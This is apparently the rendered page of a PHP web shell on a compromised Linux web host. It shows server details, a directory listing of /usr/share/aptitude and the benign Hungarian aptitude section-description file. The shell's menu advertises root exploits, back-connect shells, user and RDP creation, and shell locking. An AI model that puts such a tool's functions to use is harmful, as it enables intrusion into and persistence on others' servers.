Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
aptitude /
[ HOME SHELL ]
Name
Size
Permission
Action
COPYING
34.32
KB
-rw-r--r--
FAQ
469
B
-rw-r--r--
NEWS
355.79
KB
-rw-r--r--
README
448
KB
-rw-r--r--
README.cs
387.47
KB
-rw-r--r--
README.es
477.18
KB
-rw-r--r--
README.fi
247.77
KB
-rw-r--r--
README.fr
499.55
KB
-rw-r--r--
README.it
498.83
KB
-rw-r--r--
README.ja
478.81
KB
-rw-r--r--
README.nl
510.29
KB
-rw-r--r--
README.ru
662.17
KB
-rw-r--r--
aptitude-defaults
2.39
KB
-rw-r--r--
aptitude-defaults.ar
15.57
KB
-rw-r--r--
aptitude-defaults.bs
11.15
KB
-rw-r--r--
aptitude-defaults.ca
12.33
KB
-rw-r--r--
aptitude-defaults.cs
18.32
KB
-rw-r--r--
aptitude-defaults.da
11.7
KB
-rw-r--r--
aptitude-defaults.de
10.91
KB
-rw-r--r--
aptitude-defaults.el
21.61
KB
-rw-r--r--
aptitude-defaults.es
12.7
KB
-rw-r--r--
aptitude-defaults.eu
12.17
KB
-rw-r--r--
aptitude-defaults.fi
11.21
KB
-rw-r--r--
aptitude-defaults.fr
13.91
KB
-rw-r--r--
aptitude-defaults.gl
12.17
KB
-rw-r--r--
aptitude-defaults.hu
11.13
KB
-rw-r--r--
aptitude-defaults.it
12.38
KB
-rw-r--r--
aptitude-defaults.ja
16.1
KB
-rw-r--r--
aptitude-defaults.km
31.59
KB
-rw-r--r--
aptitude-defaults.ku
11.15
KB
-rw-r--r--
aptitude-defaults.lt
11.45
KB
-rw-r--r--
aptitude-defaults.mr
28.25
KB
-rw-r--r--
aptitude-defaults.nb
11.58
KB
-rw-r--r--
aptitude-defaults.nl
11.76
KB
-rw-r--r--
aptitude-defaults.nn
11.55
KB
-rw-r--r--
aptitude-defaults.pl
17.08
KB
-rw-r--r--
aptitude-defaults.pt
12.36
KB
-rw-r--r--
aptitude-defaults.pt_BR
12.36
KB
-rw-r--r--
aptitude-defaults.ro
12.17
KB
-rw-r--r--
aptitude-defaults.ru
31.71
KB
-rw-r--r--
aptitude-defaults.sk
11.31
KB
-rw-r--r--
aptitude-defaults.sv
17.22
KB
-rw-r--r--
aptitude-defaults.tl
12.17
KB
-rw-r--r--
aptitude-defaults.tr
12.27
KB
-rw-r--r--
aptitude-defaults.vi
14.23
KB
-rw-r--r--
aptitude-defaults.zh_CN
10.35
KB
-rw-r--r--
aptitude-defaults.zh_TW
9.87
KB
-rw-r--r--
help-cs.txt
6.05
KB
-rw-r--r--
help-de.txt
5.55
KB
-rw-r--r--
help-es.txt
5.72
KB
-rw-r--r--
help-eu.txt
2.77
KB
-rw-r--r--
help-fi.txt
3.42
KB
-rw-r--r--
help-fr.txt
4.16
KB
-rw-r--r--
help-gl.txt
4.71
KB
-rw-r--r--
help-it.txt
5.62
KB
-rw-r--r--
help-ja.txt
7.15
KB
-rw-r--r--
help-nb.txt
5.24
KB
-rw-r--r--
help-pl.txt
5.79
KB
-rw-r--r--
help-pt_BR.txt
5.5
KB
-rw-r--r--
help-ru.txt
8.92
KB
-rw-r--r--
help-sk.txt
5.51
KB
-rw-r--r--
help-sv.txt
5.3
KB
-rw-r--r--
help-tr.txt
2.63
KB
-rw-r--r--
help-uk.txt
8.16
KB
-rw-r--r--
help-zh_CN.txt
4.93
KB
-rw-r--r--
help-zh_TW.txt
2.22
KB
-rw-r--r--
help.txt
5.6
KB
-rw-r--r--
mine-help-cs.txt
1.32
KB
-rw-r--r--
mine-help-de.txt
1.48
KB
-rw-r--r--
mine-help-es.txt
1.55
KB
-rw-r--r--
mine-help-fi.txt
1.36
KB
-rw-r--r--
mine-help-fr.txt
1.76
KB
-rw-r--r--
mine-help-gl.txt
1.48
KB
-rw-r--r--
mine-help-it.txt
1.6
KB
-rw-r--r--
mine-help-ja.txt
2
KB
-rw-r--r--
mine-help-pl.txt
1.49
KB
-rw-r--r--
mine-help-pt_BR.txt
1.57
KB
-rw-r--r--
mine-help-sk.txt
1.51
KB
-rw-r--r--
mine-help-sv.txt
1.52
KB
-rw-r--r--
mine-help.txt
1.39
KB
-rw-r--r--
section-descriptions
17.92
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : aptitude-defaults.hu
// -*-c++-*- // // This file defines the names of sections known by aptitude for hu. // // Due to bug #260446, double-quotes (") cannot be backslash-escaped. // For this reason, aptitude treats adjacent pairs of apostrophese('') // as double-quotes: that is, the string "''" in a section description // will be rendered as one double quote. No other characters are // affected by this behavior. Aptitude::Sections { Descriptions { Unknown "Szakaszba nem sorolt csomagok\n E csomagok nincsenek szakaszhoz rendelve. Hiba lehet a Packages fájlban?"; Virtual "Virtuális csomagok\n E csomagok nem léteznek; más csomagokat neveznek meg általános feladatok ellátásához."; Tasks "A gépet egyes feladatokra beállító csomagok\n A 'Tasks' szakasz csomagjaiban nincsenek fájlok; ezek pusztán függőségi csomagok. E csomagok adott feladatra megadott készletek könnyű kijelölését nyújtják."; admin "Felügyeleti eszközök (szoftverek telepítése, felhasználók kezelése, stb.)\n Az 'admin' szakasz csomagjai segítségével szoftverek telepítése, felhasználók kezelése, a rendszer beállítása és figyelése, a hálózati forgalom vizsgálata és hasonló felügyeleti feladatok végezhetők."; alien "Más formátumokból átalakított csomagok (tgz, rpm, stb.)\n Az 'alien' szakaszban lévő csomagokat az 'alien' program készítette nem-Debian csomag formátumokból."; base "A Debian alaprendszer\n Az 'alap' szakaszban lévő csomagok a telepítő részei."; comm "Faxmodemek és más kommunikációs eszközök programjai\n A 'comm' szakasz csomagjaival modemek és más kommunikációs hardvereszközök vezérelhetők. Ide tartozik a faxmodemek vezérlése (pl. a PPP betárcsázó internet kapcsolathoz és az eredetileg ehhez készült programok, pl. a zmodem/kermit), vagy a mobilok vezérléséhez, FidoNet felülethez vagy BBS futtatáshoz írt szoftverek."; devel "Szoftverfejlesztő eszközök\n A 'devel' szakasz csomagjai új szoftverek írásához és meglévők továbbfejlesztéséhez készültek. A szoftvereiket nem maguk fordító felhasználóknak nem lesz túl sok szoftverre szükségük e szakaszból."; doc "Dokumentációk és ezek olvasásához készült programok\n A 'doc' szakasz csomagjai a Debian rendszer részeinek dokumentációi vagy ezeket megtekintő programok."; editors "Szövegszerkesztők és feldolgozók\n Az 'editors' szakasz csomagjai főleg sima ASCII szerkesztők. Ezek nem feltétlenül szövegfeldolgozók, bár néhány ilyen is található e szakaszban."; electronics "Áramkör és elektronikai programok\n Az 'electronics' szakasz áramkörtervezőket, szimulátorokat és mikrokontoller asszemblereket tartalmaz és ehhez hasonló szoftvereket."; embedded "Beágyazott rendszerek programjai\n Az 'embedded' szakasz csomagjai beágyazott eszközökhöz készültek. A beágyazott eszközök spéci hardver eszközök egy mai asztali rendszernél jóval kisebb teljesítménnyel, mint például: PDA, mobil, vagy egy tivo."; gnome "A GNOME asztali rendszer\n A GNOME egy könnyen-kezelhető linuxos munkakörnyezetet adó szoftvergyűjtemény. A 'gnome' szakasz csomagjai vagy a GNOME környezet részei vagy erősen integráltak e környezettel."; games "Játékok és vicces programok\n A 'games' szakaszban elsősorban szórakoztató programok vannak."; graphics "Képeket létrehozó, néző és szerkesztő eszközök\n A 'graphics' szakasz csomagjai képeket néző, feldolgozó és kezelő szoftvereket, grafikus hardvereket (pl. videókártyák, szkennerek, digitális kamerák) kezelő szoftvereket és képkezelő programozási eszközöket tartalmaznak."; hamradio "Amatőr rádiós szoftverek\n A 'hamradio' szakasz csomagjai amatőr rádiósoknak készültek."; interpreters "Értelmezők értelmezett nyelvekhez\n Az 'interpreters' szakasz csomagjai tartalmazzák a Python, Perl, Ruby és más nyelvek értelmezőit és függvénytárait."; kde "A KDE asztali rendszer\n A KDE egy könnyen kezelhető linuxos munkakörnyezetet adó szoftvergyűjtemény. A 'kde' szakasz csomagjai vagy a KDE környezet részei vagy erősen integráltak e környezettel."; libdevel "Fejlesztő fájlok függvénytárakhoz\n A 'libdevel' szakasz csomagjai a 'libs' szakaszban lévő függvénytárakat használó programok építéséhez szükséges fájlokat tartalmazzák. Csak akkor van rájuk szükséged, ha magad akarsz szoftvereket fordítani."; libs "Szoftverrutinok gyűjteménye\n A 'libs' szakasz csomagjai más programok számára szükséges szolgáltatásokat biztosítanak. Nagyon kevés kivételtől eltekintve, ezen szakasz csomagjait nem kell telepítésre kijelölni, a csomagkezelő rendszer telepíti őket, ha a függőségek szükségessé teszik."; perl "Perl értelmező és függvénytárai\n A 'perl' szakasz csomagjai adják a Perl nyelvet és számos 3.-fél függvénytárat hozzá. Ha nem írsz Perl programokat, nem kell közvetlenül telepítened csomagok innen; a csomagkezelő felteszi, amelyek kellenek."; python "Python értelmező és függvénytárai\n A 'python' szakasz csomagjai adják a Python nyelvet és számos 3.-fél függvénytárat hozzá. Ha nem írsz Python programokat, nem kell közvetlenül telepítened csomagok innen; a csomagkezelő felteszi, amelyek kellenek."; mail "Email író, küldő és irányító programok\n A 'mail' szakasz programjai levélolvasókat, levélküldő démonokat, levelező lista szoftvereket, levél-szemét szűrőket és más email szoftvereket tartalmaznak."; math "Numerikus analízis és más matematika szoftverek\n A 'math' szakasz programjai számológépeket, matematikai nyelveket (például Mathematica-jellegűeket), szimbolikus algebra csomagokat és matematikai objektumokat megjelenítő programokat tartalmaznak."; misc "Más szoftverek\n A 'misc' szakasz csomagjai még egyik osztályba sem sorolhatók."; net "Különböző hálózati szolgáltató és kapcsolódó programok\n A 'net' szakasz csomagjai számos protokollhoz klienseket és kiszolgálókat, alacsony-szintű protokollok hibakeresését és kezelését végző eszközöket, IM rendszereket és más hálózati szoftvereket adnak."; news "Usenet kliensek és kiszolgálók\n A 'news' szakasz csomagjai a Usenet elosztott hír rendszerhez kapcsolódnak. Hírolvasókat és kiszolgálókat tartalmaznak."; oldlibs "Elavult függvénytárak\n Az 'oldlibs' szakasz csomagjai elavultak és nem használtak új szoftverekben, Kompatibilitási okokból szerepelnek itt.\n .\n Pár kivétellel sosem kell innen magadnak telepítened; a csomagkezelő felteszi, ha kell valamelyik."; otherosfs "Emulátorok és más fájlrendszereket kezelő szoftverek\n Az 'otherosfs' szakasz csomagjai hardvereket és oprendszereket emulálnak és eszközöket adnak különféle oprendszerek és hardverek közti adatcserére. (például DOS flopik, Palm-ok stb.)\n .\n Több CD-író és hasonló szoftver is ITT található."; science "Tudományos szoftverek\n A 'science' szakasz csomagjai csillagászati, biológiai, kémiai és más tudományos eszközöket tartalmaznak."; shells "Parancshéjak és különféle konzolkörnyezetek\n A 'shells' szakasz csomagjai parancssoros felületeket adnak."; sound "Hangok lejátszására szolgáló programok és hangrögzítők\n A 'sound' szakasz csomagjai hanglejátszókat, rögzítőket, kódolókat, keverőket, hangerő-szabályzókat, MIDI szekvencereket, kottagrafikai programokat, hang-meghajtókat és különböző hangfeldolgozó szoftvereket tartalmaznak."; tex "A TeX szedőrendszer\n A 'tex' szakasz csomagjai a TeX-hel, a minőségi szedőrendszerrel kapcsolatos programokat adják. Ebben van a TeX maga, a TeX csomagok, a TeX rendszerre szabott szerkesztők, a TeX forrás és TeX kimeneti fájlokat más formátumra alakító eszközök, a TeX betűk és más TeX-hel kapcsolatos szoftverek."; text "Szövegfeldolgozó eszközök\n A 'text' szakasz csomagjai szövegszűrőket és feldolgozókat, helyesírás-ellenőrzőket, szótár programokat, karakter és szöveges fájl formátum váltókat (pl.: Unix, DOS), szövegformázókat és más sima szövegeket kezelő szoftvereket tartalmaznak."; utils "Különféle rendszereszközök\n A 'utils' szakasz csomagjai egyedi segédeszközöket tartalmaznak."; web "Web böngészők, kiszolgálók, proxik és más eszközök\n A 'web' szakasz csomagjai Web böngészőket, Web kiszolgálókat és proxikat, CGI szkript és Web-alapú programok írásához készült eszközöket, előre megírt Web-alapú programokat és a World Wide Web-bel kapcsolatos más szoftvereket tartalmaznak."; x11 "Az X ablakozó rendszer és kapcsolódó szoftverek\n Az 'x11' csomagok tartalmazzák az X ablakozó rendszer alap magját biztosító csomagokat, ablakkezelőket és a gyorsabb munkakörnyezeteket, segédprogramokat az X rendszerhez és más programokat, melyek az X felhasználói felületét használják és nem illenek máshova."; main "A fő Debian archívum\n A Debian terjesztés a 'main' felső szintű szakaszban lévő csomagok összességéből áll. Minden csomag a 'main' szakaszban Szabad Szoftver.\n .\n Amennyiben még nem tudod teljesen pontosan, a Debian milyen szoftvereket minősít Szabad Szoftvernek, keresd fel ezt az oldalt:\nhttp://www.debian.org/social_contract#guidelines"; contrib "A Debian-rendszerbe nem illő szoftverektől függő programok\n A 'contrib' szakaszban lévő csomagok NEM részei a Debian rendszernek!!\n .\n E csomagok Szabad Szoftverek, de olyan csomagoktól függenek, melyek nem részei a Debiannak. Ennek oka, hogy vagy nem Szabad Szoftverek, de nem-szabad - non-free archívumban létezik belőle becsomagolt példány, vagy a Debian egyáltalán nem terjesztheti őket, vagy (ritka esetben) még senki nem csomagolta be őket.\n .\n Amennyiben még nem tudod teljesen pontosan, a Debian milyen szoftvereket minősít Szabad Szoftvernek, keresd fel ezt az oldalt:\nhttp://www.debian.org/social_contract#guidelines"; non-free "Nem szabad szoftverek\n A 'non-free' szakasz NEM része a Debiannak ! \n .\n E csomagok nem felelnek meg a Debian Szabad Szoftver Irányelvek (lásd alább) által meghatározott követelmény-rendszernek. Kizárólag akkor használhatod e programokat, ha elolvasod azok licencét, a rád vonatkozó törvények értelmében elfogadhatod a licencben megadott feltételeket és minden egyes korlátozását betartod.\n .\n Ha jelen pillanatban nem tudod teljesen pontosan, a Debian milyen szoftvereket minősít Szabad Szoftvernek, keresd fel ezt az oldalt:\nhttp://www.debian.org/social_contract#guidelines"; non-US "Az USA-ban nem tárolt programok\n A 'non-US' csomagok általában titkosítások tartalmaznak; néhány az USA-ban szabadalmaztatott algoritmust valósít meg. Ezért ezek nem exportálhatók az USA-ból, ennélfogva ezeket olyan szervereken tároljuk, melyek a Szabad Világban vannak.\n .\n Hasznos tudni: a Debian Projekt jelenleg befésüli a titkosító szoftvereket az USA-beli archívumokba, miután tárgyalt jogi szakértőkkel a kiviteli szabályok jelenlegi változásairól. Ezért a legtöbb csomag, ami korábban itt volt, már sikeresen átkerült a 'main' szakaszba."; }; };
Close